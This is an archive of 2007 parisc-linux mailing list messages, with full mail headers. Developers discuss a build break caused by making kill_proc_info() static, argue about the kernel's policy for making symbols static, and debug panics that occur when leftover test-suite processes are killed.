Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20070209032454.GR13101@parisc-linux.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
Content-Transfer-Encoding: 7bit

On Thu, Feb 08, 2007 at 08:24:54PM -0700, Matthew Wilcox wrote:
> On Thu, Feb 08, 2007 at 07:43:14PM -0500, Kyle McMartin wrote:
> > > Right. This got inadvertantly reverted with some other stuff. Fixed in a
> > > second.
> > 
> > Fixed in 1736b4bbf2bbfebaad06114d569f3617517524d1.
> 
> make.err:/home/willy/nicol-2.6/arch/parisc/kernel/signal32.c:519:
> warning: implicit declaration of function 'kill_proc_info'
> make.err:(.text.compat_sys_rt_sigqueueinfo+0x80): undefined reference to
> `kill_proc_info'
> 

Guess who came home for Christmas

commit d3228a887cae75ef2b8b1211c31c539bef5a5698
Author: Adrian Bunk <bunk@stusta.de>
Date:   Wed Dec 6 20:38:22 2006 -0800

    [PATCH] make kernel/signal.c:kill_proc_info() static

    Signed-off-by: Adrian Bunk <bunk@stusta.de>
    Signed-off-by: Andrew Morton <akpm@osdl.org>
    Signed-off-by: Linus Torvalds <torvalds@osdl.org>
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

--=-DjExUAYIiiSjCcuNYWoD
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--=-DjExUAYIiiSjCcuNYWoD--



From - Thu Nov 08 21:35:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Another problem with making things static
Date: Sat, 10 Feb 2007 19:33:21 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <1171157601.3373.40.camel__27397.8429534056$1416624279$gmane$org@mulgrave.il.steeleye.com>
References: <1171121364.3373.19.camel@mulgrave.il.steeleye.com>
	<20070210130130.2584e4d8.akpm@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624279 22670 80.91.229.3 (22 Nov 2014 02:44:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:39 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
 Parisc List <parisc-linux@lists.parisc-linux.org>
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2007 01:33:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx076) with SMTP; 11 Feb 2007 02:33:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 240637DABC;
	Sat, 10 Feb 2007 18:33:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32205-09; Sat, 10 Feb 2007 18:33:37 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F084F7DABD;
	Sat, 10 Feb 2007 18:33:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4B77C7DAB2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 18:33:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32205-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 18:33:30 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 4E44B7DAAE
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 18:33:30 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1B1XMx12771; 
	Sat, 10 Feb 2007 20:33:22 -0500
In-Reply-To: <20070210130130.2584e4d8.akpm@linux-foundation.org>
X-Mailer: Evolution 2.8.2.1 (2.8.2.1-3.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ERurBJ0dfW4o8+WveGVoO19mdmllckWw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24296

On Sat, 2007-02-10 at 13:01 -0800, Andrew Morton wrote:
> On Sat, 10 Feb 2007 09:29:24 -0600 James Bottomley <James.Bottomley@SteelEye.com> wrote:
> 
> > For any person who wants to make a static symbol exported, we force an
> > explanation out of them about what they're trying to do and why.  Might
> > I suggest we apply the same standard to anyone trying to make something
> > static?  i.e. they need to explain clearly why the symbol shouldn't be
> > part of any rational API.
> > 
> 
> The majority of these things are simply oversights: people forgot to
> type `static'.
> 
> C got the defualt wrong..

I agree ... lots of symbols in drivers or filesystems are obviously not
part of APIs ... however, that's not necessarily true of the kernel
proper.  I think forcing someone to think about what they're doing and
justify going from non static to static or vice versa is a good idea in
those cases.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Fw: Another problem with making things static
Date: Sat, 10 Feb 2007 19:47:16 -0600
Lines: 111
Approved: news@gmane.org
Message-ID: <1171158436.3373.51.camel__21190.0915754542$1416624280$gmane$org@mulgrave.il.steeleye.com>
References: <20070210130136.9538498b.akpm@linux-foundation.org>
	<20070210214309.GP12958@stusta.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624280 22673 80.91.229.3 (22 Nov 2014 02:44:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:40 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
 Linus Torvalds <torvalds@linux-foundation.org>,
 Parisc List <parisc-linux@lists.parisc-linux.org>
To: Adrian Bunk <bunk@stusta.de>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2007 01:48:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 11 Feb 2007 02:48:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 543F97DAF2;
	Sat, 10 Feb 2007 18:48:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32568-06; Sat, 10 Feb 2007 18:48:30 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 17DEA7DAF4;
	Sat, 10 Feb 2007 18:48:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 92DE97DAE8
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 18:48:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32568-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 18:48:23 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 8F36E7DAE6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 18:48:23 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1B1lHx13489; 
	Sat, 10 Feb 2007 20:47:17 -0500
In-Reply-To: <20070210214309.GP12958@stusta.de>
X-Mailer: Evolution 2.8.2.1 (2.8.2.1-3.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: y0f9cZsgX1VpteuYY2FyqQN3SDc4NMzc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24297

On Sat, 2007-02-10 at 22:43 +0100, Adrian Bunk wrote:
> First of all thanks to Andrew for forwarding this email to me - it's 
> otherwise a bit hard to defend against an email that doesn't reach me.

I think if you read the email you'll find it didn't actually attack you
at all ... I was careful only to ask for a change of policy before
accepting a patch that does nothing but make a function static.

> >...
> > 
> > We're going to need this one reverting for parisc.  If you remember
> > we've been trying to push a compat_sys_rt_sigqueueinfo but Andi keeps
> > objecting, so it's remained local to our tree (an hence so has the
> > symbol usage).
> > 
> > However, can we *please* stop this indiscriminate rampage through all
> > the sybsystems making things static just because we can.  The true test
> > of whether a symbol should be static or not is whether it forms part of
> > a sensible API or not.  For subsystems with a well defined API, this is
> > quite easy (although it hasn't prevented attempts to make even those
> > symbols static).  For some of our core subsystems (like the kernel API
> > in this case) it's much less well defined ... although we have a good
> > solid white area of things that must be part of the API and a good solid
> > black area of things that mustn't, we still have a large grey area which
> > things like kill_proc_info() fall into.
> > 
> > For any person who wants to make a static symbol exported, we force an
> > explanation out of them about what they're trying to do and why.  Might
> > I suggest we apply the same standard to anyone trying to make something
> > static?  i.e. they need to explain clearly why the symbol shouldn't be
> > part of any rational API.
> 
> And by how many percent will this bloat the kernel more in the long 
> term?

That's something I'm more than willing to live with if the tradeoff is
we think before making things static.

> > Thanks,
> > 
> > James
> > Date: Thu, 8 Feb 2007 22:33:21 -0500
> > From: Kyle McMartin <kyle@mcmartin.ca>
> > To: Matthew Wilcox <matthew@wil.cx>
> > Cc: Kyle McMartin <kyle@mcmartin.ca>,
> > 	parisc-linux <parisc-linux@lists.parisc-linux.org>
> > Subject: Re: [parisc-linux] 64-bit kernel broken.
> > 
> > On Thu, Feb 08, 2007 at 08:24:54PM -0700, Matthew Wilcox wrote:
> > > On Thu, Feb 08, 2007 at 07:43:14PM -0500, Kyle McMartin wrote:
> > > > > Right. This got inadvertantly reverted with some other stuff. Fixed in a
> > > > > second.
> > > > 
> > > > Fixed in 1736b4bbf2bbfebaad06114d569f3617517524d1.
> > > 
> > > make.err:/home/willy/nicol-2.6/arch/parisc/kernel/signal32.c:519:
> > > warning: implicit declaration of function 'kill_proc_info'
> > > make.err:(.text.compat_sys_rt_sigqueueinfo+0x80): undefined reference to
> > > `kill_proc_info'
> > > 
> > 
> > Guess who came home for Christmas
> > 
> > commit d3228a887cae75ef2b8b1211c31c539bef5a5698
> > Author: Adrian Bunk <bunk@stusta.de>
> > Date:   Wed Dec 6 20:38:22 2006 -0800
> > 
> >     [PATCH] make kernel/signal.c:kill_proc_info() static
> > 
> >     Signed-off-by: Adrian Bunk <bunk@stusta.de>
> >     Signed-off-by: Andrew Morton <akpm@osdl.org>
> >     Signed-off-by: Linus Torvalds <torvalds@osdl.org>
> 
> There are hundreds of such patches of mine that got included in Linus' 
> tree and that didn't cause problems. Besides making the kernel smaller, 
> they regularly find "it should have been used" bugs.

> In this one case, a patch that made something static that wasn't used 
> from other files during the over 9 years of it's existence clashes with 
> another patch that adds a user.

I'm really not that interested in the number of users ... that's only
one part of the measure of the relevance of an API.  However, if we're
actually going to revoke an API I'd like it to be done on the API's
merits (or lack of them) rather than simply whether there are any
current in-kernel users.

> Can we agree that it's not a usual case that the first user gets added 
> after more than 9 years?

Actually, the compat_rtsiginfo patch has been argued over and honed for
at least 3 years, so I'd say your statement isn't necessarily correct.
For some of its life, it was even in -mm.

> And making it global again when a user gets included isn't really that 
> hard.

The life of a non-x86 architecture maintainer is hard ... it involves
having lots of volunteers tirelessly chasing down things that broke
during the big two week merge frenzy.  It would be really helpful if
things like this didn't add to that burden.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Expect defunct, kill -9 panics kernel?
Date: Sat, 10 Feb 2007 19:50:07 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <1171158607.3373.54.camel__18701.2046845213$1416624280$gmane$org@mulgrave.il.steeleye.com>
References: <200702101937.l1AJb7Uo014941@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624280 22675 80.91.229.3 (22 Nov 2014 02:44:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:40 +0000 (UTC)
Cc: dave.anglin@nrc.ca,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2007 01:50:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 11 Feb 2007 02:50:27 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC35E7DB0B;
	Sat, 10 Feb 2007 18:50:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00472-01; Sat, 10 Feb 2007 18:50:24 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 38FAD7DAF8;
	Sat, 10 Feb 2007 18:50:22 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D3F377DAF2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 18:50:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32568-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 18:50:17 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id DA5917DAE6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 18:50:16 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1B1o7x13697; 
	Sat, 10 Feb 2007 20:50:08 -0500
In-Reply-To: <200702101937.l1AJb7Uo014941@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.8.2.1 (2.8.2.1-3.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VUTobdrOLi5nrvfRZWtpR1BjZml1ZBgT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24298

On Sat, 2007-02-10 at 14:37 -0500, John David Anglin wrote:
> > 0x10 looks to be curr->func implying curr is NULL and thus the queue
> > task_list is corrupt.
> 
> Do you think it help to add a check in __wake_up for a NULL pointer?

I suppose so ... I'd really like someone to validate my guess though,
although an additional BUG_ON() can't hurt.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Expect defunct, kill -9 panics kernel?
Date: Sat, 10 Feb 2007 13:10:45 -0500 (EST)
Lines: 34
Approved: news@gmane.org
Message-ID: <200702101810.l1AIAkeJ012821__4962.05831082097$1416624280$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440702100916q504101b1xe99f65ff5945e712@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624280 22677 80.91.229.3 (22 Nov 2014 02:44:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:40 +0000 (UTC)
Cc: dave.anglin@nrc.ca,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Feb 2007 18:11:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 10 Feb 2007 19:11:00 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 70D807DAE3;
	Sat, 10 Feb 2007 11:10:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28714-06; Sat, 10 Feb 2007 11:10:57 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 38D287DAE4;
	Sat, 10 Feb 2007 11:10:55 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 31CF67DAE1
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 11:10:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28714-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 11:10:50 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 70A467DAE0
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 11:10:50 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1AIAmkF012824;
	Sat, 10 Feb 2007 13:10:49 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1AIAkeJ012821;
	Sat, 10 Feb 2007 13:10:46 -0500 (EST)
In-Reply-To: <119aab440702100916q504101b1xe99f65ff5945e712@mail.gmail.com>
	from "Carlos O'Donell" at Feb 10, 2007 12:16:45 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gTj3fcdcYW0+6buGbmZpd1d0amthc1vM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24299

> Is this the usual behaviour you see?
> 
> 1. I run the gcc testsuite.
> 2. expect dies, leaving a defunct process.
> 3. Killing another expect panics the kernel.

It similar to the behavior that I see.  I don't usually see this
with expect though.  Possibly, this is because I use my own build
of expect linked tcl8.3.

I see this behavior quite consistently on my c3750 if I

1.  Run the gcc libjava testsuite.
2.  Usually, there a set of processes (e.g., Process_3) left running
    after the testsuite ends.  These processes are not defunct and
    load the processor.  I can kill all but the oldest thread.
3.  Killing the oldest thread panics the kernel.  Sometimes the system
    reboots.  However, the system often hangs doing endless panics.

I suspect a timing issue as the c3750 is the fastest processor that
I test on.  I don't see as many problems with the libjava testsuite
on slower hardware.  At one time, I thought this might be a 32 versus
64-bit issue, but I see the same problems running a 64-bit kernel.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] input constraints in atomic.h too loose ?
Date: Sat, 10 Feb 2007 23:42:39 -0500
Organization: wh0rd.org
Lines: 87
Approved: news@gmane.org
Message-ID: <200702102342.40341.vapier__40837.3173246675$1416624281$gmane$org@gentoo.org>
References: <200702102101.l1AL11Ai017315@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1654415512=="
X-Trace: ger.gmane.org 1416624281 22679 80.91.229.3 (22 Nov 2014 02:44:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2007 05:12:26 -0000
